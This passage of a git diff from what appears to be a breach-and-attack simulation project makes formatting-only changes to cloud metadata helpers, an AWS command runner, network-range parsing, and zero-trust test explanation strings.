"Standard_LRS", }, - "name":"exampleosdiskname", - "osType":"Linux", - "vhd":{"uri":""}, - "writeAcceleratorEnabled":"false", + "name": "exampleosdiskname", + "osType": "Linux", + "vhd": {"uri": ""}, + "writeAcceleratorEnabled": "false", }, }, - "subscriptionId":"xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx", - "tags":"baz:bash;foo:bar", - "version":"15.05.22", - "vmId":"02aab8a4-74ef-476e-8182-f6d2ba4166a6", - "vmScaleSetName":"crpteste9vflji9", - "vmSize":"Standard_A3", - "zone":"", + "subscriptionId": "xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx", + "tags": "baz:bash;foo:bar", + "version": "15.05.22", + "vmId": "02aab8a4-74ef-476e-8182-f6d2ba4166a6", + "vmScaleSetName": "crpteste9vflji9", + "vmSize": "Standard_A3", + "zone": "", }, - "network":{ - "interface":[ + "network": { + "interface": [ { - "ipv4":{ - "ipAddress":[{"privateIpAddress":"10.144.133.132", "publicIpAddress":""}], - "subnet":[{"address":"10.144.133.128", "prefix":"26"}], + "ipv4": { + "ipAddress": [{"privateIpAddress": "10.144.133.132", "publicIpAddress": ""}], + "subnet": [{"address": "10.144.133.128", "prefix": "26"}], }, - "ipv6":{"ipAddress":[]}, - "macAddress":"0011AAFFBB22", + "ipv6": {"ipAddress": []}, + "macAddress": "0011AAFFBB22", } ] }, @@ -113,7 +113,7 @@ "\n\n" ) -BAD_DATA_JSON = {"":""} +BAD_DATA_JSON = {"": ""} def get_test_azure_instance(url, **kwargs): diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py index a2858f70282..1fc20816537 100644 --- a/monkey/common/cloud/gcp/gcp_instance.py +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -39,16 +39,16 @@ def __init__(self): else: if not response.headers["Metadata-Flavor"] == "Google": logger.warning( - "Got unexpected Metadata flavor: {}".format( - response.headers["Metadata-Flavor"] - ) + "Got unexpected Metadata flavor: {}".format( + response.headers["Metadata-Flavor"] + ) ) else: logger.warning( - "On GCP, but metadata response not ok: {}".format(response.status_code) + "On GCP, but metadata response not ok: {}".format(response.status_code) ) except requests.RequestException: logger.debug( - "Failed to get response from GCP metadata service: This instance is not on GCP" + "Failed to get response from GCP metadata service: This instance is not on GCP" ) self._on_gcp = False diff --git a/monkey/common/cmd/aws/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py index 37eb3c6dd20..e68f5bf6dd3 100644 --- a/monkey/common/cmd/aws/aws_cmd_result.py +++ b/monkey/common/cmd/aws/aws_cmd_result.py @@ -10,10 +10,10 @@ class AwsCmdResult(CmdResult): def __init__(self, command_info): super(AwsCmdResult, self).__init__( - self.is_successful(command_info, True), - command_info["ResponseCode"], - command_info["StandardOutputContent"], - command_info["StandardErrorContent"], + self.is_successful(command_info, True), + command_info["ResponseCode"], + command_info["StandardOutputContent"], + command_info["StandardErrorContent"], ) self.command_info = command_info @@ -27,5 +27,5 @@ def is_successful(command_info, is_timeout=False): :return: True if successful, False otherwise. """ return (command_info["Status"] == "Success") or ( - is_timeout and (command_info["Status"] == "InProgress") + is_timeout and (command_info["Status"] == "InProgress") ) diff --git a/monkey/common/cmd/aws/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py index 1b29625cfc8..1ccdd104b0a 100644 --- a/monkey/common/cmd/aws/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -38,8 +38,8 @@ def get_command_status(self, command_info): def run_command_async(self, command_line): doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript" command_res = self.ssm.send_command( - DocumentName=doc_name, - Parameters={"commands":[command_line]}, - InstanceIds=[self.instance_id], + DocumentName=doc_name, + Parameters={"commands": [command_line]}, + InstanceIds=[self.instance_id], ) return command_res["Command"]["CommandId"] diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index bb3f8805a51..efd9d7bf058 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -95,7 +95,7 @@ def wait_commands(commands, timeout=DEFAULT_TIMEOUT): while (curr_time - init_time < timeout) and (len(commands) != 0): for command in list( - commands + commands ): # list(commands) clones the list. We do so because we remove items inside CmdRunner._process_command(command, commands, results, True) @@ -108,9 +108,9 @@ def wait_commands(commands, timeout=DEFAULT_TIMEOUT): for command, result in results: if not result.is_success: logger.error( - "The following command failed: `%s`. status code: %s", - str(command[1]), - str(result.status_code), + "The following command failed: `%s`. status code: %s", + str(command[1]), + str(result.status_code), ) return results @@ -157,7 +157,7 @@ def _process_command(command, commands, results, should_process_only_finished): try: command_info = c_runner.query_command(c_id) if (not should_process_only_finished) or c_runner.get_command_status( - command_info + command_info ) != CmdStatus.IN_PROGRESS: commands.remove(command) results.append((command, c_runner.get_command_result(command_info))) diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index ecf870baa3e..b4a4c49d6c4 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -81,24 +81,24 @@ PRINCIPLE_SECURE_AUTHENTICATION = "secure_authentication" PRINCIPLE_MONITORING_AND_LOGGING = "monitoring_and_logging" PRINCIPLES = { - PRINCIPLE_SEGMENTATION:"Apply segmentation and micro-segmentation inside your " - "" - "" - "network.", - PRINCIPLE_ANALYZE_NETWORK_TRAFFIC:"Analyze network traffic for malicious activity.", - PRINCIPLE_USER_BEHAVIOUR:"Adopt security user behavior analytics.", - PRINCIPLE_ENDPOINT_SECURITY:"Use anti-virus and other traditional endpoint " - "security solutions.", - PRINCIPLE_DATA_CONFIDENTIALITY:"Ensure data's confidentiality by encrypting it.", - PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES:"Configure network policies to be as restrictive as " - "possible.", - PRINCIPLE_USERS_MAC_POLICIES:"Users' permissions to the network and to resources " - "should be MAC (Mandatory " - "Access Control) only.", - PRINCIPLE_DISASTER_RECOVERY:"Ensure data and infrastructure backups for disaster " - "recovery scenarios.", - PRINCIPLE_SECURE_AUTHENTICATION:"Ensure secure authentication process's.", - PRINCIPLE_MONITORING_AND_LOGGING:"Ensure monitoring and logging in network resources.", + PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your " + "" + "" + "network.", + PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.", + PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.", + PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint " + "security solutions.", + PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as " + "possible.", + PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources " + "should be MAC (Mandatory " + "Access Control) only.", + PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster " + "recovery scenarios.", + PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.", + PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources.", } POSSIBLE_STATUSES_KEY = "possible_statuses" @@ -107,206 +107,206 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation" TEST_EXPLANATION_KEY = "explanation" TESTS_MAP = { - TEST_SEGMENTATION:{ - TEST_EXPLANATION_KEY:"The Monkey tried to scan and find machines that it can " - "communicate with from the machine it's " - "running on, that belong to different network segments.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey performed cross-segment communication. Check firewall rules and" - " logs.", - STATUS_PASSED:"Monkey couldn't perform cross-segment communication. If relevant, " - "check firewall logs.", + TEST_SEGMENTATION: { + TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can " + "communicate with from the machine it's " + "running on, that belong to different network segments.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and" + " logs.", + STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, " + "check firewall logs.", }, - PRINCIPLE_KEY:PRINCIPLE_SEGMENTATION, - PILLARS_KEY:[NETWORKS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED], + PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED], }, - TEST_MALICIOUS_ACTIVITY_TIMELINE:{ - TEST_EXPLANATION_KEY:"The Monkeys in the network performed malicious-looking " - "actions, like scanning and attempting " - "exploitation.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_VERIFY:"Monkey performed malicious actions in the network. Check SOC logs and " - "alerts." + TEST_MALICIOUS_ACTIVITY_TIMELINE: { + TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking " + "actions, like scanning and attempting " + "exploitation.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and " + "alerts." }, - PRINCIPLE_KEY:PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, - PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY], + PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], }, - TEST_ENDPOINT_SECURITY_EXISTS:{ - TEST_EXPLANATION_KEY:"The Monkey checked if there is an active process of an " - "endpoint security software.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey didn't find ANY active endpoint security processes. Install and " - "activate anti-virus " - "software on endpoints.", - STATUS_PASSED:"Monkey found active endpoint security processes. Check their logs to " - "see if Monkey was a " - "security concern. ", + TEST_ENDPOINT_SECURITY_EXISTS: { + TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an " + "endpoint security software.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and " + "activate anti-virus " + "software on endpoints.", + STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to " + "see if Monkey was a " + "security concern. ", }, - PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY, - PILLARS_KEY:[DEVICES], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_MACHINE_EXPLOITED:{ - TEST_EXPLANATION_KEY:"The Monkey tries to exploit machines in order to " - "breach them and propagate in the network.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey successfully exploited endpoints. Check IDS/IPS logs to see " - "activity recognized and see " - "which endpoints were compromised.", - STATUS_PASSED:"Monkey didn't manage to exploit an endpoint.", + TEST_MACHINE_EXPLOITED: { + TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to " + "breach them and propagate in the network.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see " + "activity recognized and see " + "which endpoints were compromised.", + STATUS_PASSED: "Monkey didn't manage to exploit an endpoint.", }, - PRINCIPLE_KEY:PRINCIPLE_ENDPOINT_SECURITY, - PILLARS_KEY:[DEVICES], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY], + PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, + PILLARS_KEY: [DEVICES], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY], }, - TEST_SCHEDULED_EXECUTION:{ - TEST_EXPLANATION_KEY:"The Monkey was executed in a scheduled manner.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_VERIFY:"Monkey was executed in a scheduled manner. Locate this activity in " - "User-Behavior security " - "software.", - STATUS_PASSED:"Monkey failed to execute in a scheduled manner.", + TEST_SCHEDULED_EXECUTION: { + TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in " + "User-Behavior security " + "software.", + STATUS_PASSED: "Monkey failed to execute in a scheduled manner.", }, - PRINCIPLE_KEY:PRINCIPLE_USER_BEHAVIOUR, - PILLARS_KEY:[PEOPLE, NETWORKS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_VERIFY], + PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, + PILLARS_KEY: [PEOPLE, NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], }, - TEST_DATA_ENDPOINT_ELASTIC:{ - TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to " - "ElasticSearch instances.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey accessed ElasticSearch instances. Limit access to data by " - "encrypting it in in-transit.", - STATUS_PASSED:"Monkey didn't find open ElasticSearch instances. If you have such " - "instances, look for alerts " - "that indicate attempts to access them. ", + TEST_DATA_ENDPOINT_ELASTIC: { + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to " + "ElasticSearch instances.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by " + "encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such " + "instances, look for alerts " + "that indicate attempts to access them. ", }, - PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY:[DATA], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_DATA_ENDPOINT_HTTP:{ - TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to HTTP " "servers.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey accessed HTTP servers. Limit access to data by encrypting it in" - " in-transit.", - STATUS_PASSED:"Monkey didn't find open HTTP servers. If you have such servers, " - "look for alerts that indicate " - "attempts to access them. ", + TEST_DATA_ENDPOINT_HTTP: { + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP " "servers.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in" + " in-transit.", + STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, " + "look for alerts that indicate " + "attempts to access them. ", }, - PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY:[DATA], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_DATA_ENDPOINT_POSTGRESQL:{ - TEST_EXPLANATION_KEY:"The Monkey scanned for unencrypted access to " "PostgreSQL servers.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey accessed PostgreSQL servers. Limit access to data by encrypting" - " it in in-transit.", - STATUS_PASSED:"Monkey didn't find open PostgreSQL servers. If you have such servers, " - "look for alerts that " - "indicate attempts to access them. ", + TEST_DATA_ENDPOINT_POSTGRESQL: { + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to " "PostgreSQL servers.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed PostgreSQL servers. Limit access to data by encrypting" + " it in in-transit.", + STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, " + "look for alerts that " + "indicate attempts to access them. ", }, - PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY:[DATA], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_TUNNELING:{ - TEST_EXPLANATION_KEY:"The Monkey tried to tunnel traffic using other monkeys.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey tunneled its traffic using other monkeys. Your network policies " - "are too permissive - " - "restrict them. " + TEST_TUNNELING: { + TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies " + "are too permissive - " + "restrict them. " }, - PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, - PILLARS_KEY:[NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED], + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED], }, - TEST_COMMUNICATE_AS_NEW_USER:{ - TEST_EXPLANATION_KEY:"The Monkey tried to create a new user and communicate " - "with the internet from it.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"Monkey caused a new user to access the network. Your network policies " - "are too permissive - " - "restrict them to MAC only.", - STATUS_PASSED:"Monkey wasn't able to cause a new user to access the network.", + TEST_COMMUNICATE_AS_NEW_USER: { + TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate " + "with the internet from it.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies " + "are too permissive - " + "restrict them to MAC only.", + STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network.", }, - PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES, - PILLARS_KEY:[PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, + PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES:{ - TEST_EXPLANATION_KEY:"ScoutSuite assessed cloud firewall rules and settings.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"ScoutSuite found overly permissive firewall rules.", - STATUS_PASSED:"ScoutSuite found no problems with cloud firewall rules.", + TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { + TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", + STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.", }, - PRINCIPLE_KEY:PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, - PILLARS_KEY:[NETWORKS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_UNENCRYPTED_DATA:{ - TEST_EXPLANATION_KEY:"ScoutSuite searched for resources containing " "unencrypted data.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"ScoutSuite found resources with unencrypted data.", - STATUS_PASSED:"ScoutSuite found no resources with unencrypted data.", + TEST_SCOUTSUITE_UNENCRYPTED_DATA: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing " "unencrypted data.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found resources with unencrypted data.", + STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.", }, - PRINCIPLE_KEY:PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY:[DATA], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_DATA_LOSS_PREVENTION:{ - TEST_EXPLANATION_KEY:"ScoutSuite searched for resources which are not " - "protected against data loss.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"ScoutSuite found resources not protected against data loss.", - STATUS_PASSED:"ScoutSuite found that all resources are secured against data loss.", + TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not " + "protected against data loss.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found resources not protected against data loss.", + STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.", }, - PRINCIPLE_KEY:PRINCIPLE_DISASTER_RECOVERY, - PILLARS_KEY:[DATA], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_SECURE_AUTHENTICATION:{ - TEST_EXPLANATION_KEY:"ScoutSuite searched for issues related to users' " "authentication.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"ScoutSuite found issues related to users' authentication.", - STATUS_PASSED:"ScoutSuite found no issues related to users' authentication.", + TEST_SCOUTSUITE_SECURE_AUTHENTICATION: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' " "authentication.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found issues related to users' authentication.", + STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.", }, - PRINCIPLE_KEY:PRINCIPLE_SECURE_AUTHENTICATION, - PILLARS_KEY:[PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION, + PILLARS_KEY: [PEOPLE, WORKLOADS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_RESTRICTIVE_POLICIES:{ - TEST_EXPLANATION_KEY:"ScoutSuite searched for permissive user access " "policies.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"ScoutSuite found permissive user access policies.", - STATUS_PASSED:"ScoutSuite found no issues related to user access policies.", + TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access " "policies.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found permissive user access policies.", + STATUS_PASSED: "ScoutSuite found no issues related to user access policies.", }, - PRINCIPLE_KEY:PRINCIPLE_USERS_MAC_POLICIES, - PILLARS_KEY:[PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, + PILLARS_KEY: [PEOPLE, WORKLOADS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_LOGGING:{ - TEST_EXPLANATION_KEY:"ScoutSuite searched for issues, related to logging.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"ScoutSuite found logging issues.", - STATUS_PASSED:"ScoutSuite found no logging issues.", + TEST_SCOUTSUITE_LOGGING: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found logging issues.", + STATUS_PASSED: "ScoutSuite found no logging issues.", }, - PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY:[AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, + PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_SERVICE_SECURITY:{ - TEST_EXPLANATION_KEY:"ScoutSuite searched for service security issues.", - FINDING_EXPLANATION_BY_STATUS_KEY:{ - STATUS_FAILED:"ScoutSuite found service security issues.", - STATUS_PASSED:"ScoutSuite found no service security issues.", + TEST_SCOUTSUITE_SERVICE_SECURITY: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found service security issues.", + STATUS_PASSED: "ScoutSuite found no service security issues.", }, - PRINCIPLE_KEY:PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY:[DEVICES, NETWORKS], - POSSIBLE_STATUSES_KEY:[STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, + PILLARS_KEY: [DEVICES, NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, } @@ -315,13 +315,13 @@ EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK) PILLARS_TO_TESTS = { - DATA:[], - PEOPLE:[], - NETWORKS:[], - DEVICES:[], - WORKLOADS:[], - VISIBILITY_ANALYTICS:[], - AUTOMATION_ORCHESTRATION:[], + DATA: [], + PEOPLE: [], + NETWORKS: [], + DEVICES: [], + WORKLOADS: [], + VISIBILITY_ANALYTICS: [], + AUTOMATION_ORCHESTRATION: [], } PRINCIPLES_TO_TESTS = {} diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 34a41527258..a9e05caa642 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -99,7 +99,7 @@ def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle addresses = ip_range.split("-") if len(addresses) != 2: raise ValueError( - "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range + "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range ) self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] elif (lower_end_ip is not None) and (higher_end_ip is not None): @@ -112,8 +112,8 @@ def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) if self._higher_end_ip_num < self._lower_end_ip_num: raise ValueError( - "Higher end IP %s is smaller than lower end IP %s" - % (self._lower_end_ip, self._higher_end_ip) + "Higher end IP %s is smaller than lower end IP %s" + % (self._lower_end_ip, self._higher_end_ip) ) def __repr__(self): @@ -177,8 +177,8 @@ def string_to_host(string_): domain_name = string_ except socket.error: LOG.error( - "Your specified host: {} is not found as a domain name and" - " it's not an IP address".format(string_) + "Your specified host: {} is not found as a domain name and" + " it's not an IP address".format(string_) ) return None, string_ # If a string_ was entered instead of IP we presume that it was domain name and translate it diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index c30ab36f815..98b6361c4bf 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -14,29 +14,29 @@ class ScanStatus(Enum): class UsageEnum(Enum): SMB = { - ScanStatus.USED.value:"SMB exploiter ran the monkey by creating a service via MS-SCMR.", - ScanStatus.SCANNED.value:"SMB exploiter failed to run the monkey by creating a service " - "via MS-SCMR.", + ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating 